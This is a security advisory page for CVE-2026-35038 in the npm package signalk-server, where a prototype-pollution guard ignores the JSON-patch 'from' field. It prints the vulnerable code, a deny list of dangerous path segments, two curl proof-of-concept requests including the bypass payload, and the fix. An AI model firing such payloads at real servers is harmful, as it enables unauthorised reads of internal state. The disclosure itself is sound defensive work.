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Open-source package vulnerability · npm

CVE-2026-35038: Signal K Server: Arbitrary Prototype Read via `from` Field Bypass

lowCVSS 4.0 2.1GHSA-qh3j-mrg8-f234

Summary The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property.

Published Apr 3, 2026

Affected packages

signalk-server

Ecosystem
npm
Affected
< 2.24.0
Fixed in
2.24.0
Check
npm ls signalk-server

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.

While this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.

Vulnerability Root Cause

File: src/interfaces/applicationData.js (Lines 48-57)

const DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']

function isPrototypePollutionPath(pathString) {
  const segments = pathString.split(/[./]/)
  return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))
}

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from
    (patch) => patch.path && isPrototypePollutionPath(patch.path) 
  )
}

At Line 201:

if (hasPrototypePollutionPatch(req.body)) {
  res.status(400).send('invalid patch path')
  return
}
jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'

Proof of Concept (PoC)

Verify the Developer Guard Works (The Blocked Payload):

curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "add", "path": "/__proto__/polluted", "value": "hacked"}]'

Result: 400 Bad Request - invalid patch path

Execute the Bypass (The Malicious Payload):

curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '[{"op": "copy", "from": "/__proto__/toString", "path": "/stolen"}]'

Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.

Security Impact

This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.

Fixing Arbitrary Prototype Read

The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:

function hasPrototypePollutionPatch(patches) {
  return patches.some(
    (patch) => 
      (patch.path && isPrototypePollutionPath(patch.path)) ||
      (patch.from && isPrototypePollutionPath(patch.from))
  )
}

Credited to VashuVats.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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